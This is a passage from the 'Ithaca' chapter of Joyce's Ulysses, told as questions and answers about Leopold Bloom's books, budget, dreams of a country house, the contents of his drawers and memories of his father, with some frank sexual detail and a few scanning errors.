RUSSO-TURKISH WAR (brown cloth, a volumes, with + gummed label, Garrison Library, Governor's Parade, Gibraltar, on verso + of cover). +LAURENCE BLOOMFIELD IN IRELAND by William Allingham (second edition, + green cloth, gilt trefoil design, previous owner's name on recto of + flyleaf erased). +A HANDBOOK OF ASTRONOMY (cover, brown leather, detached, S plates, + antique letterpress long primer, author's footnotes nonpareil, marginal + clues brevier, captions small pica). +THE HIDDEN LIFE OF CHRIST (black boards). +IN THE TRACK OF THE SUN (yellow cloth, titlepage missing, recurrent title + intestation). +PHYSICAL STRENGTH AND HOW TO OBTAIN IT by Eugen Sandow (red cloth). +SHORT BUT YET PLAIN ELEMENTS OF GEOMETRY written in French by F. Ignat. + Pardies and rendered into English by John Harris D. D. London, + printed for R. Knaplock at the Bifhop's Head, MDCCXI, with dedicatory + epiftle to his worthy friend Charles Cox, efquire, Member of + Parliament for the burgh of Southwark and having ink calligraphed + statement on the flyleaf certifying that the book was the property of + Michael Gallagher, dated this 10th day of May 1822 and requefting the + perfon who should find it, if the book should be loft or go aftray, + to reftore it to Michael Gallagher, carpenter, Dufery Gate, + Ennifcorthy, county Wicklow, the fineft place in the world. + + +What reflections occupied his mind during the process of reversion of the +inverted volumes? + +The necessity of order, a place for everything and everything in its +place: the deficient appreciation of literature possessed by females: the +incongruity of an apple incuneated in a tumbler and of an umbrella +inclined in a closestool: the insecurity of hiding any secret document +behind, beneath or between the pages of a book. + +Which volume was the largest in bulk? + +Hozier's HISTORY OF THE RUSSO-TURKISH WAR. + +What among other data did the second volume of the work in question +contain? + +The name of a decisive battle (forgotten), frequently remembered by a +decisive officer, major Brian Cooper Tweedy (remembered). + +Why, firstly and secondly, did he not consult the work in question? + +Firstly, in order to exercise mnemotechnic: secondly, because after an +interval of amnesia, when, seated at the central table, about to consult +the work in question, he remembered by mnemotechnic the name of the +military engagement, Plevna. + +What caused him consolation in his sitting posture? + +The candour, nudity, pose, tranquility, youth, grace, sex, counsel of a +statue erect in the centre of the table, an image of Narcissus purchased +by auction from P. A. Wren, 9 Bachelor's Walk. + +What caused him irritation in his sitting posture? Inhibitory pressure of +collar (size 17) and waistcoat (5 buttons), two articles of clothing +superfluous in the costume of mature males and inelastic to alterations +of mass by expansion. + +How was the irritation allayed? + +He removed his collar, with contained black necktie and collapsible stud, +from his neck to a position on the left of the table. He unbuttoned +successively in reversed direction waistcoat, trousers, shirt and vest +along the medial line of irregular incrispated black hairs extending in +triangular convergence from the pelvic basin over the circumference of +the abdomen and umbilicular fossicle along the medial line of nodes to +the intersection of the sixth pectoral vertebrae, thence produced both +ways at right angles and terminating in circles described about two +equidistant points, right and left, on the summits of the mammary +prominences. He unbraced successively each of six minus one braced +trouser buttons, arranged in pairs, of which one incomplete. + +What involuntary actions followed? + +He compressed between 2 fingers the flesh circumjacent to a cicatrice in +the left infracostal region below the diaphragm resulting from a sting +inflicted 2 weeks and 3 days previously (23 May 1904) by a bee. He +scratched imprecisely with his right hand, though insensible of +prurition, various points and surfaces of his partly exposed, wholly +abluted skin. He inserted his left hand into the left lower pocket of his +waistcoat and extracted and replaced a silver coin (I shilling), placed +there (presumably) on the occasion (17 October 1903) of the interment of +Mrs Emily Sinico, Sydney Parade. + +Compile the budget for 16 June 1904. + +DEBIT CREDIT + L--s--d L--s--d +1 Pork kidney 0--0--3 Cash in Hand 0--4--9 +1 Copy FREEMAN'S JOURNAL 0--0--1 Commission recd FREEMAN'S JOURNAL 1--7--6 +1 Bath And Gratification 0--1--6 Loan (Stephen Dedalus) 1--7--0 +Tramfare 0--0--1 +1 In Memoriam +Patrick Dignam 0--5--0 +2 Banbury cakes 0--0--1 +1 Lunch 0--0--7 +1 Renewal fee for book 0--1--0 +1 Packet Notepaper +and Envelopes 0--0--2 +1 Dinner +and Gratification 0--2--0 +I Postal Order +and Stamp 0--2--8 +Tramfare 0--0--1 +1 Pig's Foot 0--0--4 +1 Sheep's Trotter 0--0--3 +1 Cake Fry's +Plain Chocolate 0--0--1 +1 Square Soda Bread 0--0--4 +1 Coffee and Bun 0--0--4 +Loan (Stephen Dedalus) +refunded 1--7--0 + +BALANCE 0--17--5 + 2--19--3 2--19--3 + + +Did the process of divestiture continue? + +Sensible of a benignant persistent ache in his footsoles he extended his +foot to one side and observed the creases, protuberances and salient +points caused by foot pressure in the course of walking repeatedly in +several different directions, then, inclined, he disnoded the laceknots, +unhooked and loosened the laces, took off each of his two boots for the +second time, detached the partially moistened right sock through the fore +part of which the nail of his great toe had again effracted, raised his +right foot and, having unhooked a purple elastic sock suspender, took off +his right sock, placed his unclothed right foot on the margin of the seat +of his chair, picked at and gently lacerated the protruding part of the +great toenail, raised the part lacerated to his nostrils and inhaled the +odour of the quick, then, with satisfaction, threw away the lacerated +ungual fragment. + +Why with satisfaction? + +Because the odour inhaled corresponded to other odours inhaled of other +ungual fragments, picked and lacerated by Master Bloom, pupil of Mrs +Ellis's juvenile school, patiently each night in the act of brief +genuflection and nocturnal prayer and ambitious meditation. + +In what ultimate ambition had all concurrent and consecutive ambitions +now coalesced? + +Not to inherit by right of primogeniture, gavelkind or borough English, +or possess in perpetuity an extensive demesne of a sufficient number of +acres, roods and perches, statute land measure (valuation 42 pounds), of +grazing turbary surrounding a baronial hall with gatelodge and carriage +drive nor, on the other hand, a terracehouse or semidetached villa, +described as RUS IN URBE or QUI SI SANA, but to purchase by private +treaty in fee simple a thatched bungalowshaped 2 storey dwellinghouse of +southerly aspect, surmounted by vane and lightning conductor, connected +with the earth, with porch covered by parasitic plants (ivy or Virginia +creeper), halldoor, olive green, with smart carriage finish and neat +doorbrasses, stucco front with gilt tracery at eaves and gable, rising, +if possible, upon a gentle eminence with agreeable prospect from balcony +with stone pillar parapet over unoccupied and unoccupyable interjacent +pastures and standing in 5 or 6 acres of its own ground, at such a +distance from the nearest public thoroughfare as to render its +houselights visible at night above and through a quickset hornbeam hedge +of topiary cutting, situate at a given point not less than 1 statute mile +from the periphery of the metropolis, within a time limit of not more +than 15 minutes from tram or train line (e.g., Dundrum, south, or Sutton, +north, both localities equally reported by trial to resemble the +terrestrial poles in being favourable climates for phthisical subjects), +the premises to be held under feefarm grant, lease 999 years, the +messuage to consist of 1 drawingroom with baywindow (2 lancets), +thermometer affixed, 1 sittingroom, 4 bedrooms, 2 servants' rooms, tiled +kitchen with close range and scullery, lounge hall fitted with linen +wallpresses, fumed oak sectional bookcase containing the Encyclopaedia +Britannica and New Century Dictionary, transverse obsolete medieval and +oriental weapons, dinner gong, alabaster lamp, bowl pendant, vulcanite +automatic telephone receiver with adjacent directory, handtufted +Axminster carpet with cream ground and trellis border, loo table with +pillar and claw legs, hearth with massive firebrasses and ormolu mantel +chronometer clock, guaranteed timekeeper with cathedral chime, barometer +with hygrographic chart, comfortable lounge settees and corner fitments, +upholstered in ruby plush with good springing and sunk centre, three +banner Japanese screen and cuspidors (club style, rich winecoloured +leather, gloss renewable with a minimum of labour by use of linseed oil +and vinegar) and pyramidically prismatic central chandelier lustre, +bentwood perch with fingertame parrot (expurgated language), embossed +mural paper at 10/- per dozen with transverse swags of carmine floral +design and top crown frieze, staircase, three continuous flights at +successive right angles, of varnished cleargrained oak, treads and +risers, newel, balusters and handrail, with steppedup panel dado, dressed +with camphorated wax: bathroom, hot and cold supply, reclining and +shower: water closet on mezzanine provided with opaque singlepane oblong +window, tipup seat, bracket lamp, brass tierod and brace, armrests, +footstool and artistic oleograph on inner face of door: ditto, plain: +servants' apartments with separate sanitary and hygienic necessaries for +cook, general and betweenmaid (salary, rising by biennial unearned +increments of 2 pounds, with comprehensive fidelity insurance, annual +bonus (1 pound) and retiring allowance (based on the 65 system) after 30 +years' service), pantry, buttery, larder, refrigerator, outoffices, coal +and wood cellarage with winebin (still and sparkling vintages) for +distinguished guests, if entertained to dinner (evening dress), carbon +monoxide gas supply throughout. + +What additional attractions might the grounds contain? + +As addenda, a tennis and fives court, a shrubbery, a glass summerhouse +with tropical palms, equipped in the best botanical manner, a rockery +with waterspray, a beehive arranged on humane principles, oval flowerbeds +in rectangular grassplots set with eccentric ellipses of scarlet and +chrome tulips, blue scillas, crocuses, polyanthus, sweet William, sweet +pea, lily of the valley (bulbs obtainable from sir James W. Mackey +(Limited) wholesale and retail seed and bulb merchants and nurserymen, +agents for chemical manures, 23 Sackville street, upper), an orchard, +kitchen garden and vinery protected against illegal trespassers by +glasstopped mural enclosures, a lumbershed with padlock for various +inventoried implements. + +As? + +Eeltraps, lobsterpots, fishingrods, hatchet, steelyard, grindstone, +clodcrusher, swatheturner, carriagesack, telescope ladder, 10 tooth rake, +washing clogs, haytedder, tumbling rake, billhook, paintpot, brush, hoe +and so on. + +What improvements might be subsequently introduced? + +A rabbitry and fowlrun, a dovecote, a botanical conservatory, 2 hammocks +(lady's and gentleman's), a sundial shaded and sheltered by laburnum or +lilac trees, an exotically harmonically accorded Japanese tinkle gatebell +affixed to left lateral gatepost, a capacious waterbutt, a lawnmower with +side delivery and grassbox, a lawnsprinkler with hydraulic hose. + +What facilities of transit were desirable? + +When citybound frequent connection by train or tram from their respective +intermediate station or terminal. When countrybound velocipedes, a +chainless freewheel roadster cycle with side basketcar attached, or +draught conveyance, a donkey with wicker trap or smart phaeton with good +working solidungular cob (roan gelding, 14 h). + +What might be the name of this erigible or erected residence? + +Bloom Cottage. Saint Leopold's. Flowerville. + +Could Bloom of 7 Eccles street foresee Bloom of Flowerville? + +In loose allwool garments with Harris tweed cap, price 8/6, and useful +garden boots with elastic gussets and wateringcan, planting aligned young +firtrees, syringing, pruning, staking, sowing hayseed, trundling a +weedladen wheelbarrow without excessive fatigue at sunset amid the scent +of newmown hay, ameliorating the soil, multiplying wisdom, achieving +longevity. + +What syllabus of intellectual pursuits was simultaneously possible? + +Snapshot photography, comparative study of religions, folklore relative +to various amatory and superstitious practices, contemplation of the +celestial constellations. + +What lighter recreations? + +Outdoor: garden and fieldwork, cycling on level macadamised causeways +ascents of moderately high hills, natation in secluded fresh water and +unmolested river boating in secure wherry or light curricle with kedge +anchor on reaches free from weirs and rapids (period of estivation), +vespertinal perambulation or equestrian circumprocession with inspection +of sterile landscape and contrastingly agreeable cottagers' fires of +smoking peat turves (period of hibernation). Indoor: discussion in tepid +security of unsolved historical and criminal problems: lecture of +unexpurgated exotic erotic masterpieces: house carpentry with toolbox +containing hammer, awl nails, screws, tintacks, gimlet, tweezers, +bullnose plane and turnscrew. Might he become a gentleman farmer of field +produce and live stock? + +Not impossibly, with 1 or 2 stripper cows, 1 pike of upland hay and +requisite farming implements, e.g., an end-to-end churn, a turnip pulper +etc. + +What would be his civic functions and social status among the county +families and landed gentry? + +Arranged successively in ascending powers of hierarchical order, that of +gardener, groundsman, cultivator, breeder, and at the zenith of his +career, resident magistrate or justice of the peace with a family crest +and coat of arms and appropriate classical motto (SEMPER PARATUS), duly +recorded in the court directory (Bloom, Leopold P., M. P., P. C., K. P., +L. L. D. (HONORIS CAUSA), Bloomville, Dundrum) and mentioned in court and +fashionable intelligence (Mr and Mrs Leopold Bloom have left Kingstown +for England). + +What course of action did he outline for himself in such capacity? + +A course that lay between undue clemency and excessive rigour: the +dispensation in a heterogeneous society of arbitrary classes, incessantly +rearranged in terms of greater and lesser social inequality, of unbiassed +homogeneous indisputable justice, tempered with mitigants of the widest +possible latitude but exactable to the uttermost farthing with +confiscation of estate, real and personal, to the crown. Loyal to the +highest constituted power in the land, actuated by an innate love of +rectitude his aims would be the strict maintenance of public order, the +repression of many abuses though not of all simultaneously (every measure +of reform or retrenchment being a preliminary solution to be contained by +fluxion in the final solution), the upholding of the letter of the law +(common, statute and law merchant) against all traversers in covin and +trespassers acting in contravention of bylaws and regulations, all +resuscitators (by trespass and petty larceny of kindlings) of venville +rights, obsolete by desuetude, all orotund instigators of international +persecution, all perpetuators of international animosities, all menial +molestors of domestic conviviality, all recalcitrant violators of +domestic connubiality. + +Prove that he had loved rectitude from his earliest youth. + +To Master Percy Apjohn at High School in 1880 he had divulged his +disbelief in the tenets of the Irish (protestant) church (to which his +father Rudolf Virag (later Rudolph Bloom) had been converted from the +Israelitic faith and communion in 1865 by the Society for promoting +Christianity among the jews) subsequently abjured by him in favour of +Roman catholicism at the epoch of and with a view to his matrimony in +1888. To Daniel Magrane and Francis Wade in 1882 during a juvenile +friendship (terminated by the premature emigration of the former) he had +advocated during nocturnal perambulations the political theory of +colonial (e.g. Canadian) expansion and the evolutionary theories of +Charles Darwin, expounded in THE DESCENT OF MAN and THE ORIGIN OF +SPECIES. In 1885 he had publicly expressed his adherence to the +collective and national economic programme advocated by James Fintan +Lalor, John Fisher Murray, John Mitchel, J. F. X. O'Brien and others, the +agrarian policy of Michael Davitt, the constitutional agitation of +Charles Stewart Parnell (M. P. for Cork City), the programme of peace, +retrenchment and reform of William Ewart Gladstone (M. P. for Midlothian, +N. B.) and, in support of his political convictions, had climbed up into +a secure position amid the ramifications of a tree on Northumberland road +to see the entrance (2 February 1888) into the capital of a demonstrative +torchlight procession of 20,000 torchbearers, divided into 120 trade +corporations, bearing 2000 torches in escort of the marquess of Ripon and +(honest) John Morley. + +How much and how did he propose to pay for this country residence? + +As per prospectus of the Industrious Foreign Acclimatised Nationalised +Friendly Stateaided Building Society (incorporated 1874), a maximum of 60 +pounds per annum, being 1/6 of an assured income, derived from giltedged +securities, representing at 5 percent simple interest on capital of 1200 +pounds (estimate of price at 20 years' purchase), of which to be paid +on acquisition and the balance in the form of annual rent, viz. 800 +pounds plus 2 1/2 percent interest on the same, repayable quarterly in +equal annual instalments until extinction by amortisation of loan +advanced for purchase within a period of 20 years, amounting to an annual +rental of 64 pounds, headrent included, the titledeeds to remain in +possession of the lender or lenders with a saving clause envisaging +forced sale, foreclosure and mutual compensation in the event of +protracted failure to pay the terms assigned, otherwise the messuage to +become the absolute property of the tenant occupier upon expiry of the +period of years stipulated. + +What rapid but insecure means to opulence might facilitate immediate +purchase? + +A private wireless telegraph which would transmit by dot and dash system +the result of a national equine handicap (flat or steeplechase) of I or +more miles and furlongs won by an outsider at odds of 50 to 1 at 3 hr 8 m +p.m. at Ascot (Greenwich time), the message being received and available +for betting purposes in Dublin at 2.59 p.m. (Dunsink time). The +unexpected discovery of an object of great monetary value (precious +stone, valuable adhesive or impressed postage stamps (7 schilling, mauve, +imperforate, Hamburg, 1866: 4 pence, rose, blue paper, perforate, Great +Britain, 1855: 1 franc, stone, official, rouletted, diagonal surcharge, +Luxemburg, 1878), antique dynastical ring, unique relic) in unusual +repositories or by unusual means: from the air (dropped by an eagle in +flight), by fire (amid the carbonised remains of an incendiated edifice), +in the sea (amid flotsam, jetsam, lagan and derelict), on earth (in the +gizzard of a comestible fowl). A Spanish prisoner's donation of a distant +treasure of valuables or specie or bullion lodged with a solvent banking +corporation loo years previously at 5 percent compound interest of the +collective worth of 5,000,000 pounds stg (five million pounds sterling). +A contract with an inconsiderate contractee for the delivery of 32 +consignments of some given commodity in consideration of cash payment on +delivery per delivery at the initial rate of 1/4d to be increased +constantly in the geometrical progression of 2 (1/4d, 1/2d, 1d, 2d, 4d, +8d, 1s 4d, 2s 8d to 32 terms). A prepared scheme based on a study of the +laws of probability to break the bank at Monte Carlo. A solution of the +secular problem of the quadrature of the circle, government premium +1,000,000 pounds sterling. + +Was vast wealth acquirable through industrial channels? + +The reclamation of dunams of waste arenary soil, proposed in the +prospectus of Agendath Netaim, Bleibtreustrasse, Berlin, W. 15, by the +cultivation of orange plantations and melonfields and reafforestation. +The utilisation of waste paper, fells of sewer rodents, human excrement +possessing chemical properties, in view of the vast production of the +first, vast number of the second and immense quantity of the third, every +normal human being of average vitality and appetite producing annually, +cancelling byproducts of water, a sum total of 80 lbs. (mixed animal and +vegetable diet), to be multiplied by 4,386,035, the total population of +Ireland according to census returns of 1901. + +Were there schemes of wider scope? + +A scheme to be formulated and submitted for approval to the harbour +commissioners for the exploitation of white coal (hydraulic power), +obtained by hydroelectric plant at peak of tide at Dublin bar or at head +of water at Poulaphouca or Powerscourt or catchment basins of main +streams for the economic production of 500,000 W. H. P. of electricity. A +scheme to enclose the peninsular delta of the North Bull at Dollymount +and erect on the space of the foreland, used for golf links and rifle +ranges, an asphalted esplanade with casinos, booths, shooting galleries, +hotels, boardinghouses, readingrooms, establishments for mixed bathing. A +scheme for the use of dogvans and goatvans for the delivery of early +morning milk. A scheme for the development of Irish tourist traffic in +and around Dublin by means of petrolpropelled riverboats, plying in the +fluvial fairway between Island bridge and Ringsend, charabancs, narrow +gauge local railways, and pleasure steamers for coastwise navigation +(10/- per person per day, guide (trilingual) included). A scheme for the +repristination of passenger and goods traffics over Irish waterways, when +freed from weedbeds. A scheme to connect by tramline the Cattle Market +(North Circular road and Prussia street) with the quays (Sheriff street, +lower, and East Wall), parallel with the Link line railway laid (in +conjunction with the Great Southern and Western railway line) between the +cattle park, Liffey junction, and terminus of Midland Great Western +Railway 43 to 45 North Wall, in proximity to the terminal stations or +Dublin branches of Great Central Railway, Midland Railway of England, +City of Dublin Steam Packet Company, Lancashire and Yorkshire Railway +Company, Dublin and Glasgow Steam Packet Company, Glasgow, Dublin and +Londonderry Steam Packet Company (Laird line), British and Irish Steam +Packet Company, Dublin and Morecambe Steamers, London and North Western +Railway Company, Dublin Port and Docks Board Landing Sheds and transit +sheds of Palgrave, Murphy and Company, steamship owners, agents for +steamers from Mediterranean, Spain, Portugal, France, Belgium and Holland +and for Liverpool Underwriters' Association, the cost of acquired rolling +stock for animal transport and of additional mileage operated by the +Dublin United Tramways Company, limited, to be covered by graziers' fees. + +Positing what protasis would the contraction for such several schemes +become a natural and necessary apodosis? + +Given a guarantee equal to the sum sought, the support, by deed of gift +and transfer vouchers during donor's lifetime or by bequest after donor's +painless extinction, of eminent financiers (Blum Pasha, Rothschild +Guggenheim, Hirsch, Montefiore, Morgan, Rockefeller) possessing fortunes +in 6 figures, amassed during a successful life, and joining capital with +opportunity the thing required was done. + +What eventuality would render him independent of such wealth? + +The independent discovery of a goldseam of inexhaustible ore. + +For what reason did he meditate on schemes so difficult of realisation? + +It was one of his axioms that similar meditations or the automatic +relation to himself of a narrative concerning himself or tranquil +recollection of the past when practised habitually before retiring for +the night alleviated fatigue and produced as a result sound repose and +renovated vitality. + +His justifications? + +As a physicist he had learned that of the 70 years of complete human life +at least 2/7, viz. 20 years are passed in sleep. As a philosopher he knew +that at the termination of any allotted life only an infinitesimal part +of any person's desires has been realised. As a physiologist he believed +in the artificial placation of malignant agencies chiefly operative +during somnolence. + +What did he fear? + +The committal of homicide or suicide during sleep by an aberration of the +light of reason, the incommensurable categorical intelligence situated in +the cerebral convolutions. + +What were habitually his final meditations? + +Of some one sole unique advertisement to cause passers to stop in wonder, +a poster novelty, with all extraneous accretions excluded, reduced to its +simplest and most efficient terms not exceeding the span of casual vision +and congruous with the velocity of modern life. + +What did the first drawer unlocked contain? + +A Vere Foster's handwriting copybook, property of Milly (Millicent) +Bloom, certain pages of which bore diagram drawings, marked PAPLI, which +showed a large globular head with 5 hairs erect, 2 eyes in profile, the +trunk full front with 3 large buttons, 1 triangular foot: 2 fading +photographs of queen Alexandra of England and of Maud Branscombe, actress +and professional beauty: a Yuletide card, bearing on it a pictorial +representation of a parasitic plant, the legend MIZPAH, the date Xmas +1892, the name of the senders: from Mr + Mrs M. Comerford, the versicle: +MAY THIS YULETIDE BRING TO THEE, JOY AND PEACE AND WELCOME GLEE: a butt +of red partly liquefied sealing wax, obtained from the stores department +of Messrs Hely's, Ltd., 89, 90, and 91 Dame street: a box containing the +remainder of a gross of gilt "J" pennibs, obtained from same department +of same firm: an old sandglass which rolled containing sand which rolled: +a sealed prophecy (never unsealed) written by Leopold Bloom in 1886 +concerning the consequences of the passing into law of William Ewart +Gladstone's Home Rule bill of 1886 (never passed into law): a bazaar +ticket, no 2004, of S. Kevin's Charity Fair, price 6d, 100 prizes: an +infantile epistle, dated, small em monday, reading: capital pee Papli +comma capital aitch How are you note of interrogation capital eye I am +very well full stop new paragraph signature with flourishes capital em +Milly no stop: a cameo brooch, property of Ellen Bloom (born Higgins), +deceased: a cameo scarfpin, property of Rudolph Bloom (born Virag), +deceased: 3 typewritten letters, addressee, Henry Flower, c/o. P. O. +Westland Row, addresser, Martha Clifford, c/o. P. O. Dolphin's Barn: the +transliterated name and address of the addresser of the 3 letters in +reversed alphabetic boustrophedonic punctated quadrilinear cryptogram +(vowels suppressed) N. IGS./WI. UU. OX/W. OKS. MH/Y. IM: a press cutting +from an English weekly periodical MODERN SOCIETY, subject corporal +chastisement in girls' schools: a pink ribbon which had festooned an +Easter egg in the year 1899: two partly uncoiled rubber preservatives +with reserve pockets, purchased by post from Box 32, P. O., Charing +Cross, London, W. C.: 1 pack of 1 dozen creamlaid envelopes and +feintruled notepaper, watermarked, now reduced by 3: some assorted +Austrian-Hungarian coins: 2 coupons of the Royal and Privileged Hungarian +Lottery: a lowpower magnifying glass: 2 erotic photocards showing a) +buccal coition between nude senorita (rere presentation, superior +position) and nude torero (fore presentation, inferior position) b) anal +violation by male religious (fully clothed, eyes abject) of female +religious (partly clothed, eyes direct), purchased by post from Box 32, +P. O., Charing Cross, London, W. C.: a press cutting of recipe for +renovation of old tan boots: a Id adhesive stamp, lavender, of the reign +of Queen Victoria: a chart of the measurements of Leopold Bloom compiled +before, during and after 2 months' consecutive use of Sandow-Whiteley's +pulley exerciser (men's 15/-, athlete's 20/-) viz. chest 28 in and 29 1/2 +in, biceps 9 in and 10 in, forearm 8 1/2 in and 9 in, thigh 10 in and 12 +in, calf 11 in and 12 in: 1 prospectus of The Wonderworker, the world's +greatest remedy for rectal complaints, direct from Wonderworker, Coventry +House, South Place, London E C, addressed (erroneously) to Mrs L. Bloom +with brief accompanying note commencing (erroneously): Dear Madam. + +Quote the textual terms in which the prospectus claimed advantages for +this thaumaturgic remedy. + +It heals and soothes while you sleep, in case of trouble in breaking +wind, assists nature in the most formidable way, insuring instant relief +in discharge of gases, keeping parts clean and free natural action, an +initial outlay of 7/6 making a new man of you and life worth living. +Ladies find Wonderworker especially useful, a pleasant surprise when they +note delightful result like a cool drink of fresh spring water on a +sultry summer's day. Recommend it to your lady and gentlemen friends, +lasts a lifetime. Insert long round end. Wonderworker. + +Were there testimonials? + +Numerous. From clergyman, British naval officer, wellknown author, city +man, hospital nurse, lady, mother of five, absentminded beggar. + +How did absentminded beggar's concluding testimonial conclude? + +What a pity the government did not supply our men with wonderworkers +during the South African campaign! What a relief it would have been! + +What object did Bloom add to this collection of objects? + +A 4th typewritten letter received by Henry Flower (let H. F. be L. B.) +from Martha Clifford (find M. C.). + +What pleasant reflection accompanied this action? + +The reflection that, apart from the letter in question, his magnetic +face, form and address had been favourably received during the course of +the preceding day by a wife (Mrs Josephine Breen, born Josie Powell), a +nurse, Miss Callan (Christian name unknown), a maid, Gertrude (Gerty, +family name unknown). + +What possibility suggested itself? + +The possibility of exercising virile power of fascination in the not +immediate future after an expensive repast in a private apartment in the +company of an elegant courtesan, of corporal beauty, moderately +mercenary, variously instructed, a lady by origin. + +What did the 2nd drawer contain? + +Documents: the birth certificate of Leopold Paula Bloom: an endowment +assurance policy of 500 pounds in the Scottish Widows' Assurance Society, +intestated Millicent (Milly) Bloom, coming into force at 25 years as with +profit policy of 430 pounds, 462/10/0 and 500 pounds at 60 years or +death, 65 years or death and death, respectively, or with profit policy +(paidup) of 299/10/0 together with cash payment of 133/10/0, at option: a +bank passbook issued by the Ulster Bank, College Green branch showing +statement of a/c for halfyear ending 31 December 1903, balance in +depositor's favour: 18/14/6 (eighteen pounds, fourteen shillings and +sixpence, sterling), net personalty: certificate of possession of 900 +pounds, Canadian 4 percent (inscribed) government stock (free of stamp +duty): dockets of the Catholic Cemeteries' (Glasnevin) Committee, +relative to a graveplot purchased: a local press cutting concerning +change of name by deedpoll. + +Quote the textual terms of this notice. + +I, Rudolph Virag, now resident at no 52 Clanbrassil street, Dublin, +formerly of Szombathely in the kingdom of Hungary, hereby give notice +that I have assumed and intend henceforth upon all occasions and at all +times to be known by the name of Rudolph Bloom. + +What other objects relative to Rudolph Bloom (born Virag) were in the 2nd +drawer? + +An indistinct daguerreotype of Rudolf Virag and his father Leopold Virag +executed in the year 1852 in the portrait atelier of their (respectively) +1st and 2nd cousin, Stefan Virag of Szesfehervar, Hungary. An ancient +haggadah book in which a pair of hornrimmed convex spectacles inserted +marked the passage of thanksgiving in the ritual prayers for Pessach +(Passover): a photocard of the Queen's Hotel, Ennis, proprietor, Rudolph +Bloom: an envelope addressed: TO MY DEAR SON LEOPOLD. + +What fractions of phrases did the lecture of those five whole words +evoke? + +Tomorrow will be a week that I received... it is no use Leopold to be ... +with your dear mother ... that is not more to stand ... to her ... all +for me is out ... be kind to Athos, Leopold ... my dear son ... always +... of me ... DAS HERZ ... GOTT ... DEIN ... + +What reminiscences of a human subject suffering from progressive +melancholia did these objects evoke in Bloom? + +An old man, widower, unkempt of hair, in bed, with head covered, sighing: +an infirm dog, Athos: aconite, resorted to by increasing doses of grains +and scruples as a palliative of recrudescent neuralgia: the face in death +of a septuagenarian, suicide by poison. + +Why did Bloom experience a sentiment of remorse? + +Because in immature impatience he had treated with disrespect certain +beliefs and practices. + +As? + +The prohibition of the use of fleshmeat and milk at one meal: the +hebdomadary symposium of incoordinately abstract, perfervidly concrete +mercantile coexreligionist excompatriots: the circumcision of male +infants: the supernatural character of Judaic scripture: the ineffability +of the tetragrammaton: the sanctity of the sabbath. + +How did these beliefs and practices now appear to him? + +Not more rational than they had then appeared, not less rational than +other beliefs and practices now appeared. + +What first reminiscence had he of Rudolph Bloom (deceased)? + +Rudolph Bloom (deceased) narrated to his son Leopold Bloom (aged 6) a +retrospective arrangement of migrations and settlements in and between +Dublin, London, Florence, Milan, Vienna, Budapest, Szombathely with +statements of satisfaction (his grandfather having seen Maria Theresia, +empress of Austria, queen of Hungary), with commercial advice (having +taken care of pence, the pounds having taken care of themselves). Leopold +Bloom (aged 6) had accompanied these narrations by constant consultation +of a geographical map of Europe (political) and by suggestions for the +establishment of affiliated business premises in the various centres +mentioned. + +Had time equally but differently obliterated the memory of these +migrations in narrator and listener? + +In narrator by the access of years and in consequence of the use of +narcotic toxin: in listener by the access of years and in consequence of +the action of distraction upon vicarious experiences. + +What idiosyncracies of the narrator were concomitant products of amnesia? + +Occasionally he ate without having previously removed his hat. +Occasionally he drank voraciously the juice of gooseberry fool from an +inclined plate. Occasionally he removed from his lips the traces of food +by means of a lacerated envelope or other accessible fragment of paper. + +What two phenomena of senescence were more frequent? + +The myopic digital calculation of coins, eructation consequent upon +repletion. + +What object offered partial consolation for these reminiscences? + +The endowment policy, the bank passbook, the certificate of the +possession of scrip. + +Reduce Bloom by cross multiplication of reverses of fortune, from which +these supports protected him, and by elimination of all positive values +to a negligible negative irrational unreal quantity. + +Successively, in descending helotic order: Poverty: that of the outdoor +hawker of imitation jewellery, the dun for the recovery of bad and +doubtful debts, the poor rate and deputy cess collector. Mendicancy: that +of the fraudulent bankrupt with negligible assets paying 1s. 4d. in the +pound, sandwichman, distributor of throwaways, nocturnal vagrant, +insinuating sycophant, maimed sailor, blind stripling, superannuated +bailiffs man, marfeast, lickplate, spoilsport, pickthank, eccentric +public laughingstock seated on bench of public park under discarded +perforated umbrella. Destitution: the inmate of Old Man's House (Royal +Hospital) Kilmainham, the inmate of Simpson's Hospital for reduced but +respectable men permanently disabled by gout or want of sight. Nadir of +misery: the aged impotent disfranchised ratesupported moribund lunatic +pauper. + +With which attendant indignities? + +The unsympathetic indifference of previously amiable females, the +contempt of muscular males, the acceptance of fragments of bread, the +simulated ignorance of casual acquaintances, the latration of +illegitimate unlicensed vagabond dogs, the infantile discharge of +decomposed vegetable missiles, worth little or nothing, nothing or less +than nothing. + +By what could such a situation be precluded? + +By decease (change of state): by departure (change of place). + +Which preferably? + +The latter, by the line of least resistance. + +What considerations rendered departure not entirely undesirable? + +Constant cohabitation impeding mutual toleration of personal defects. The +habit of independent purchase increasingly cultivated. The necessity to +counteract by impermanent sojourn the permanence of arrest. + +What considerations rendered departure not irrational? + +The parties concerned, uniting, had increased and multiplied, which being +done, offspring produced and educed to maturity, the parties, if not +disunited were obliged to reunite for increase and multiplication, which +was absurd, to form by reunion the original couple of uniting parties, +which was impossible. + +What considerations rendered departure desirable? + +The attractive character of certain localities in Ireland and abroad, as +represented in general geographical maps of polychrome design or in +special ordnance survey charts by employment of scale numerals and +hachures. + +In Ireland? + +The cliffs of Moher, the windy wilds of Connemara, lough Neagh with +submerged petrified city, the Giant's Causeway, Fort Camden and Fort +Carlisle, the Golden Vale of Tipperary, the islands of Aran, the pastures +of royal Meath, Brigid's elm in Kildare, the Queen's Island shipyard in +Belfast, the Salmon Leap, the lakes of Killarney. + +Abroad? + +Ceylon (with spicegardens supplying tea to Thomas Kernan, agent for +Pulbrook, Robertson and Co, 2 Mincing Lane, London, E. C., 5 Dame street, +Dublin), Jerusalem, the holy city (with mosque of Omar and gate of +Damascus, goal of aspiration), the straits of Gibraltar (the unique +birthplace of Marion Tweedy), the Parthenon (containing statues of nude +Grecian divinities), the Wall street money market (which controlled +international finance), the Plaza de Toros at La Linea, Spain (where +O'Hara of the Camerons had slain the bull), Niagara (over which no human +being had passed with impunity), the land of the Eskimos (eaters of +soap), the forbidden country of Thibet (from which no traveller returns), +the bay of Naples (to see which was to die), the Dead Sea. + +Under what guidance, following what signs? + +At sea, septentrional, by night the polestar, located at the point of +intersection of the right line from beta to alpha in Ursa Maior produced +and divided externally at omega and the hypotenuse of the rightangled +triangle formed by the line alpha omega so produced and the line alpha +delta of Ursa Maior. On land, meridional, a bispherical moon, revealed in +imperfect varying phases of lunation through the posterior interstice of +the imperfectly occluded skirt of a carnose negligent perambulating +female, a pillar of the cloud by day. + +What public advertisement would divulge the occultation 